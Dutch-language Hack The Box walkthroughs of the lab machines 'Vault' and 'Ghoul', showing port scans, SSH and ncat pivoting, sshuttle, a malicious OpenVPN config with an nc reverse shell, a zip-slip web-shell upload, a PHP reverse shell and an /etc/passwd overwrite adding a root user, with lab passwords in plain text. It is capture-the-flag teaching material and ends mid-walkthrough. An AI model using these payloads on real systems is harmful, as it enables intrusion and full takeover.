dave@ubuntu:~/Desktop$ time for i in $(seq 1 65535); do (nc -zvn 192.168.122.4 ${i} 2>&1 | grep -v "Connection refused" &); done Connection to 192.168.122.4 22 port [tcp/*] succeeded! Connection to 192.168.122.4 80 port [tcp/*] succeeded! real 20m37.665s user 3m9.019s sys 7m6.815s

Shell op DNS als root

Opsomming

Ik probeer mijn bestaande credits te ssh in DNS, maar ze falen.

Nu ga ik naar het web. Ik maak een port forward over ssh zodat ik de pagina via mijn browser kan openen.

root@kali:~/htb/vault# ssh -L 1234:192.168.122.4:80 dave@vault.htb
dave@vault.htb's password: Dav3therav3123
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

222 packages can be updated.
47 updates are security updates.

Last login: Mon Dec  9 03:29:18 2019 from 10.10.16.70

nu, gaat elk verkeer via mijn SSH-tunnel proxy.

Nu kan ik http://192.168.122.4:1234/ bezoeken en krijg:

1553779272175

De eerste gedachte aan dns-config.php is niet gevonden.

De tweede link naar vpnconfig.php geeft een pagina weer:

1553779324606

Als ik op “Test VPN” klik, verwijst dit naar http://192.168.122.4/vpnconfig.php?function=testvpn en wordt bovenaan “met succes uitgevoerd!” Afgedrukt (typefout met succes).

OpenVPN RCE

Er is een manier om RCE via een OpenVPN-configuratie te krijgen . De korte beschrijving is dat een config een up entry kan bevatten, het commando dat moet worden uitgevoerd nadat de verbinding is gemaakt.

shell

Ik maak een schadelijk OpenVPN-configuratiebestand als volgt:

remote 192.168.122.1 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 8181 >/tmp/f'" nobind

Nu zal ik een luisteraar starten in mijn SSH-sessie, de configuratie uploaden en op “Test” klikken:

dave@ubuntu:~$ nc -lnvp 8181 Listening on [0.0.0.0] (family 0, port 8181) Connection from [192.168.122.4] port 8181 [tcp/*] accepted (family 2, sport 53392) bash: cannot set terminal process group (1088): Inappropriate ioctl for device bash: no job control in this shell root@DNS:/var/www/html# id uid=0(root) gid=0(root) groups=0(root)

In de dave homedir vind ik user.txt :

root@DNS:/home/dave# cat user.txt a4947faa...

ssh

Ik zal ook een ander ssh bestand vinden, met nieuwe creds:

root@DNS:/home/dave# cat ssh dave dav3gerous567

Ik kan ssh in als Dave:

dave@ubuntu:~$ ssh dave@192.168.122.4 dave@192.168.122.4's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 98 packages can be updated. 50 updates are security updates. Last login: Thu Mar 28 13:04:43 2019 from 192.168.122.1 dave@DNS:~$

Dave kan ook sudo , dus ik kan teruggaan naar root als ik wil:

dave@DNS:~$ sudo -l [sudo] password for dave: Matching Defaults entries for dave on DNS: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dave may run the following commands on DNS: (ALL : ALL) ALL dave@DNS:~$ sudo su [sudo] password for dave: root@DNS:/home/dave#

Shell kluis als Dave

Lokale telling

Ik heb de .bash_history bestanden bekeken voor root, dave en alex. root en dave waren niet interessant, maar ik zag dit in alex’s:

ping 192.168.5.2

Dat is een nieuw adres dat ik nog niet heb gezien.

Ik wil controleren of dat IP-adres in een van de logboeken is weergegeven, dus ik zal een grep . -r doorzoekt alle bestanden in het gegeven pad (in dit geval /var/log ):

root@DNS:/# grep -r "192.168.5.2" /var/log Binary file /var/log/auth.log matches Binary file /var/log/btmp matches

Ik kan de vlag -a op grep gebruiken om de overeenkomst in een binair bestand weer te geven en -H om te zorgen dat de bestandsnamen worden afgedrukt:

root@DNS:/var/log# grep -rHa "192.168.5.2" /var/log /var/log/auth.log:Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 16:49:02 DNS sshd[1943]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 16:49:02 DNS sshd[1943]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1560]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1590]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1590]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 17 21:58:26 DNS sshd[1171]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 21:58:29 DNS sshd[1249]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 21:58:29 DNS sshd[1249]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1466]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1496]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1496]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:06:26 DNS sshd[1500]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.5.2 user=dave /var/log/auth.log:Jul 24 15:06:28 DNS sshd[1500]: Failed password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:28 DNS sshd[1500]: Connection closed by 192.168.5.2 port 4444 [preauth] /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1503]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1533]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1533]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1536]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1566]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1566]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f /var/log/auth.log:Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /var/log/auth.log:Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53 N[z<ssh:nottyalex192.168.122.1N[z<ssh:nottyalex192.168.122.1N[zssh:nottydave192.168.122.1N[zssh:nottydave192.168.5.2d2W[ssh:nottydave192.168.122.17W[zssh:nottydave192.168.122.18W[zssh:nottydave192.168.122.18W[zssh:nottydtty1tty1davem9[ܧ]ssh:nottydave192.168.122.1@[zcssh:nottydave192.168.122.1T[zP

Er is een heleboel activiteit op 17 en 24 juli die eruit ziet als SSH op poort 4444.

Er zijn meer interessante dingen op 2 september waarbij de volgende drie opdrachten worden uitgevoerd:

/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f /usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53

Vault-inventarisatie

Omdat nmap op de host is geïnstalleerd, voer ik dezelfde opdracht uit om .2 te scannen zonder de bronpoort in te stellen en krijg ik alles terug gesloten:

root@DNS:/var/log# nmap 192.168.5.2 -Pn -f Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:05 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0042s latency). Not shown: 998 filtered ports PORT STATE SERVICE 53/tcp closed domain 4444/tcp closed krb524 Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds

Ik kan echt laten zien waarom 53 en 4444 melden gesloten te zijn terwijl al het andere niet aan het einde van Beyond Root .

Wanneer ik de --source-port=4444 , krijg ik verschillende resultaten terug:

root@DNS:/var/log# nmap 192.168.5.2 -Pn -f --source-port=4444 Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:09 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0038s latency). Not shown: 999 closed ports PORT STATE SERVICE 987/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds

Op basis van de andere twee interessante opdrachten, zal ik zien dat het instellen van de bron op poort 53 dezelfde resultaten geeft:

root@DNS:/var/log# nmap 192.168.5.2 -Pn -f --source-port=53 Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:10 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0032s latency). Not shown: 999 closed ports PORT STATE SERVICE 987/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 25.04 seconds

Ik kan zien wat er op 987 wordt geluisterd met nc :

root@DNS:/var/log# nc 192.168.5.2 987 -p 53 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

ssh

ssh heeft geen optie om een ​​bronpoort in te stellen. Dat brengt me echter bij de volgende twee interessante opdrachten van auth.log :

/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53

Ik zal naar het eerste commando kijken. Het voert ncat listening uit op poort 1234. --sh-exec staat ncat toe het volgende commando uit te voeren met /bin/sh en zijn stdin te verbinden met stdout van de originele luisteraar. Dus in dit geval sluit ik ons ​​af met een luisteraar op 1234, en wordt de invoer doorgegeven aan een andere ncat die is aangesloten op 192.168.5.2:987 met behulp van ncat 53. Dat betekent dat ik, zodra ik dit heb ingesteld, vervolgens naar lokale ncat 1234, en het zal me doorverbinden met kluis.

Start de tunnel op de achtergrond:

root@DNS:/var/log# /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & [1] 1449

Maak nu verbinding met ssh en gebruik het dns-wachtwoord van dave:

root@DNS:/var/log# ssh dave@localhost -p 1234 The authenticity of host '[localhost]:1234 ([::1]:1234)' can't be established. ECDSA key fingerprint is SHA256:Wo70Zou+Hq5m/+G2vuKwUnJQ4Rwbzlqhq2e1JBdjEsg. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:1234' (ECDSA) to the list of known hosts. dave@localhost's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 96 packages can be updated. 49 updates are security updates. Last login: Mon Sep 3 16:48:00 2018 dave@vault:~$

rbash

Ik bevind me in een beperkte rbash shell:

dave@vault:~$ cd / -rbash: cd: restricted

Maar dat is gemakkelijk te ontsnappen door sshing in met -t bash :

root@DNS:/var/log# /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & [1] 1453 root@DNS:/var/log# ssh dave@localhost -p 1234 -t bash dave@localhost's password: dave@vault:~$ cd / dave@vault:/$

root.txt.gpg

In het huis van Dave in kluis is er een bestand:

dave@vault:~$ ls root.txt.gpg

gpg vertrouwt op de sleutel die is opgeslagen in de lokale sleutelhanger. Ik zal proberen het te ontsleutelen in een kluis, wetende dat dat te gemakkelijk is om te slagen:

dave@vault:~$ gpg -d root.txt.gpg gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available

Ik zal proberen het bestand naar andere machines te verplaatsen. base64 lijkt niet in de kluis te zijn, maar base32 is:

dave@vault:~$ base32 -w0 root.txt.gpg =

Ik ga terug naar dns en maak het bestand:

root@DNS:/dev/shm# echo = | base32 -d > a.gpg root@DNS:/dev/shm# file a.gpg a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b .

Probeerde te decoderen als root en dave:

dave@DNS:~$ gpg -d /dev/shm/a.gpg gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available
root@DNS:~# file /dev/shm/a.gpg a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . root@DNS:/dev/shm# gpg -d a.gpg gpg: directory `/root/.gnupg' created gpg: new configuration file `/root/.gnupg/gpg.conf' created gpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this run gpg: keyring `/root/.gnupg/secring.gpg' created gpg: keyring `/root/.gnupg/pubring.gpg' created gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available

Nu ga ik terug naar de oorspronkelijke host.

dave@ubuntu:~$ echo = | base32 -d > /dev/shm/a.gpg dave@ubuntu:~$ file /dev/shm/a.gpg /dev/shm/a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . dave@ubuntu:~$ gpg -d /dev/shm/a.gpg You need a passphrase to unlock the secret key for user: "david <dave@david.com>" 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) Enter passphrase:

Dit is veelbelovend! Ik zal het bestand in het bureaublad van Dave onthouden, key :

dave@ubuntu:~/Desktop$ cat key itscominghome

Binnenkomen dat werkt en de rootvlag uitspuwt:

gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 "david <dave@david.com>" ca468370...

gebruikte referenties : https://0xdf.gitlab.io/2019/04/06/htb-vault.html

SSHUTTLE

Dit artikel bevat de handmatige manier om tunnels in te stellen en verkeer te krijgen waar het heen moet. Het is ongelooflijk nuttig om te begrijpen hoe je dat kunt doen zonder gespecialiseerde tools. Het is echter ook leuk om te zien hoe gemakkelijk een taak kan zijn met een goed hulpmiddel.. sshuttle wordt door de maker beschreven als een ‘transparante proxyserver die werkt als een VPN voor een arme man. Vooruit over ssh. Vereist geen admin. Werkt met Linux en MacOS. Ondersteunt DNS-tunneling. ”Laten we sshuttle in actie zien!

Voor we starten mogen we shuttle eerst installeren.

apt-get install sshuttle

Laten we met dat compleet het equivalent van onze SOCKS-proxy en voorwaartse tunnel instellen. Het onderstaande commando blokkeert, wat betekent dat we volgende commando’s moeten uitvoeren in afzonderlijke terminals.

sshuttle -r dave@10.10.10.109 192.168.122.0/24
══════════════════════════════════════════════

dave@10.10.10.109's password: Dav3therav3123
client: Connected.
sshuttle options used:

    -r
        The remote hostname and optional username and ssh port number to use for connecting to the remote server.
    SUBNET
        A list of subnets to route over the VPN, in the form a.b.c.d[/width][port[-port]].

Dat is het! Na het uitvoeren van de bovenstaande opdracht kunnen we rechtstreeks naar de website op 192.168.122.4 bladeren (zonder het gebruik van burp of foxyproxy). We kunnen ook rechtstreeks contact opnemen met en ssh naar 192.168.122.4.

Vervolgens kunnen we sshuttle instellen om naar het netwerk van Vault te routeren.

sshuttle -r dave@192.168.122.4 192.168.5.0/24
═════════════════════════════════════════════

dave@192.168.122.4's password: dav3gerous567
client: Connected.

Nu kunnen we contact opnemen met Vault’s ssh-server rechtstreeks vanuit Kali

Auteur: Jacco Straathof

HTB – Ghoul

 Mijn beschrijving / walkthrough voor Ghoul van Hack The Box.

Korte samenvatting

Ghoul scoort hard op HacktheBox. Het is geïnspireerd op Tokyo Ghoul en omvat draaien en tunnelen. Het dwingt je ook om veel aantekeningen te maken van wat je tijdens de reis tegenkomt. Over het algemeen leerde ik technieken / aanvallen en kon ik veel leren over SSH. Het netwerkdiagram ziet er als volgt uit:


nmap

Zoals altijd zullen we beginnen met nmap om te scannen op open poorten en services:

root@kali:~/htb/ghoul# nmap -sV -sT -sC 10.10.10.101
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 04:52 EST
Nmap scan report for 10.10.10.101
Host is up (0.036s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_ 256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
| 256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_ 256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds

We hebben twee ssh poorten 22,2222 en twee http poorten 80,8080. Laten we de eerste http poort controleren.


Eerste webtelling

Door naar http://ghoul.htb , zien we een eenvoudige statische website met niets echt interessant:

Dus liep ik gobuster met de extensies php en html :

root@kali:~/htb/ghoul# gobuster dir -u http://10.10.10.101/ -w /usr/share/wordlists/dirb/common.txt -x php,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.101/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
2019/12/06 04:50:57 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/archives (Status: 301)
/blog.html (Status: 200)
/contact.html (Status: 200)
/css (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/js (Status: 301)
/secret.php (Status: 200)
/server-status (Status: 403)
/uploads (Status: 301)
/users (Status: 301)
===============================================================
2019/12/06 04:52:21 Finished
===============================================================

/secret.php en /users zien er interessant uit.
/secret.php :

Natuurlijk was deze gebruikersvlag slechts een trol, maar er zijn hier twee interessante dingen. Kaneki eerste vraagt Noro Kaneki om toegang en Kaneki antwoordt met ILoveTouka dat eruitziet als een wachtwoord. Het andere is de nep- Kaneki waar Kaneki over sprak, waarschijnlijk de site die op poort 8080 draait.
/users :
Dit was echter gewoon een andere trol:

Ik kon niets anders vinden op poort 80, dus ik controleerde poort 8080. Het had basis- http authenticatie:

Maar het was gemakkelijk te raden, admin : admin :

Dit is de nep- Kaneki het over had en we kunnen afbeeldingen uploaden. Maar we kunnen ook zip archieven uploaden:


Willekeurig bestand schrijven (Zip Slip) -> RCE

De mogelijkheid om zip-archieven te uploaden kan een kwetsbaarheid veroorzaken die zip-slip wordt genoemd . Dit gebeurt wanneer het archief bestanden met directory-traversale paden in hun naam heeft. Als het doel tijdens de extractie kwetsbaar is, schrijft het de uitgepakte bestanden naar de opgegeven paden in hun naam.
Ik heb het als volgt gedaan:

root@kali:~/htb/ghoul# python evilarc.py -o unix -d 2 -p var/www/html/archives puckieshell.php
Creating evil.zip containing ../../var/www/html/archives/puckieshell.php
root@kali:~/htb/ghoul# zipinfo evil.zip 
Archive: evil.zip
Zip file size: 16960 bytes, number of entries: 3
-rw-r--r-- 2.0 unx 5494 b- stor 19-Dec-05 08:19 ../var/www/html/puckieshell.php
-rw-r--r-- 2.0 unx 5494 b- stor 19-Dec-05 08:19 ../var/www/html/archives/puckieshell.php
-rw-r--r-- 2.0 unx 5494 b- stor 19-Dec-05 08:19 ../../var/www/html/archives/puckieshell.php
3 files, 16482 bytes uncompressed, 16482 bytes compressed: 0.0%

Wanneer deze zip op de machine wordt uitgepakt, wordt shell.php in /var/www/html .

De shell is succesvol geüpload:

Nu kunnen we gewoon een omgekeerde shell krijgen, de gebruikelijke nc shell werkte niet omdat nc niet op de doos was geïnstalleerd, dus gebruikte ik php :

php -r '$sock=fsockopen("10.10.xx.xx",1337);exec("/bin/sh -i <&3 >&3 2>&3");'


Privilege-escalatie op Aogiri, gebruikersvlag

Het eerste wat ik deed nadat ik een shell had gekregen, was om een ​​stabiele shell te krijgen:

$ which python /usr/bin/python $ python -c "import pty;pty.spawn('/bin/bash')" www-data@Aogiri:/var/www/html$ ^Z [1]+ Stopped nc -lvnp 1337 root@kali:~/Desktop/HTB/boxes/ghoul# stty raw -echo root@kali:~/Desktop/HTB/boxes/ghoul# nc -lvnp 1337 www-data@Aogiri:/var/www/html$ export TERM=screen www-data@Aogiri:/var/www/html$

Toen controleerde ik /home , www-data geen toegang tot de mappen:

www-data@Aogiri:/var/www/html$ cd /home/ www-data@Aogiri:/home$ ls -la total 36 drwxr-xr-x 1 root root 4096 Dec 13 2018 . drwxr-xr-x 1 root root 4096 Dec 13 2018 .. drwx------ 1 Eto Eto 4096 Dec 13 2018 Eto drwx------ 1 kaneki kaneki 4096 Dec 13 2018 kaneki drwx------ 1 noro noro 4096 Dec 13 2018 noro www-data@Aogiri:/home$ cd Eto/ bash: cd: Eto/: Permission denied www-data@Aogiri:/home$ cd kaneki/ bash: cd: kaneki/: Permission denied www-data@Aogiri:/home$ cd noro/ bash: cd: noro/: Permission denied www-data@Aogiri:/home$ cd - /var/www/html www-data@Aogiri:/var/www/html$

Dus ik moest escaleren. Toen ik naar de shell keek die ik had geüpload, zag ik dat deze door root was gemaakt:

www-data@Aogiri:/var/www/html$ ls -la total 352 drwxr-xr-x 1 root root 4096 Oct 4 11:17 . drwxr-xr-x 1 root root 4096 Jan 22 2019 .. drwxr-xr-x 1 root root 4096 Dec 13 2018 archives -r-xr-xr-x 1 root root 10723 Dec 13 2018 blog.html -r-xr-xr-x 1 root root 8977 Dec 13 2018 contact.html dr-xr-xr-x 1 root root 4096 Dec 13 2018 css -r-xr-xr-x 1 root root 37906 Dec 13 2018 eto.jpg dr-xr-xr-x 1 root root 4096 Dec 13 2018 images -r-xr-xr-x 1 root root 11000 Dec 13 2018 index.html dr-xr-xr-x 1 root root 4096 Dec 13 2018 js -r-xr-xr-x 1 root root 13721 Dec 13 2018 kaneki-ken.jpg -rw-r--r-- 1 root root 239 Dec 13 2018 kaneki.html -r-xr-xr-x 1 root root 112642 Dec 13 2018 kaneki.jpg -r-xr-xr-x 1 root root 134 Dec 13 2018 kaneki.php -r-xr-xr-x 1 root root 13721 Dec 13 2018 ken.jpg dr-xr-xr-x 1 root root 4096 Dec 13 2018 less -r-xr-xr-x 1 root root 18457 Dec 13 2018 noro.jpg -r-xr-xr-x 1 root root 4865 Dec 13 2018 secret.php -rw-r--r-- 1 root root 328 Oct 4 11:17 shell.php -r-xr-xr-x 1 root root 18159 Dec 13 2018 tatara.jpg dr-xr-xr-x 1 root root 4096 Dec 13 2018 uploads dr-xr-xr-x 1 root root 4096 Dec 13 2018 users www-data@Aogiri:/var/www/html$

Dus ik probeerde de zip exploit opnieuw te gebruiken om /etc/passwd te overschrijven, maar eerst moest ik het passwd bestand maken. Ik heb die uit de doos overgenomen:

www-data@Aogiri:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin kaneki:x:1000:1000::/home/kaneki:/bin/bash Eto:x:1001:1001::/home/Eto:/bin/bash noro:x:1002:1002::/home/noro:/bin/bash www-data@Aogiri:/var/www/html$

Ik heb openssl gebruikt om de hash van het wachtwoord ( AAAA ) te genereren:

root@kali:~/Desktop/HTB/boxes/ghoul# openssl passwd AAAA gDlPrjU6SWeKo

Toen heb ik een nieuwe gebruiker genaamd rooot met de uid 0 toegevoegd aan het passwd bestand:

root@kali:~/Desktop/HTB/boxes/ghoul# echo "rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash" >> passwd root@kali:~/Desktop/HTB/boxes/ghoul# cat passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin kaneki:x:1000:1000::/home/kaneki:/bin/bash Eto:x:1001:1001::/home/Eto:/bin/bash noro:x:1002:1002::/home/noro:/bin/bash rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash root@kali:~/Desktop/HTB/boxes/ghoul#

Daarna heb ik het zip bestand gemaakt zoals eerder:

root@kali:~/Desktop/HTB/boxes/ghoul# cd /etc/ root@kali:/etc# mv passwd passwd.1 root@kali:/etc# cp ~/Desktop/HTB/boxes/ghoul/passwd . root@kali:/etc# cd - /root/Desktop/HTB/boxes/ghoul root@kali:~/Desktop/HTB/boxes/ghoul# zip passwd.zip ../../../../../../../../etc/passwd adding: ../../../../../../../../etc/passwd (deflated 62%) root@kali:~/Desktop/HTB/boxes/ghoul# rm /etc/passwd root@kali:~/Desktop/HTB/boxes/ghoul# mv /etc/passwd.1 /etc/passwd root@kali:~/Desktop/HTB/boxes/ghoul#

Toen heb ik het geüpload:

Nu kunnen we su rooot en AAAA als wachtwoord gebruiken:

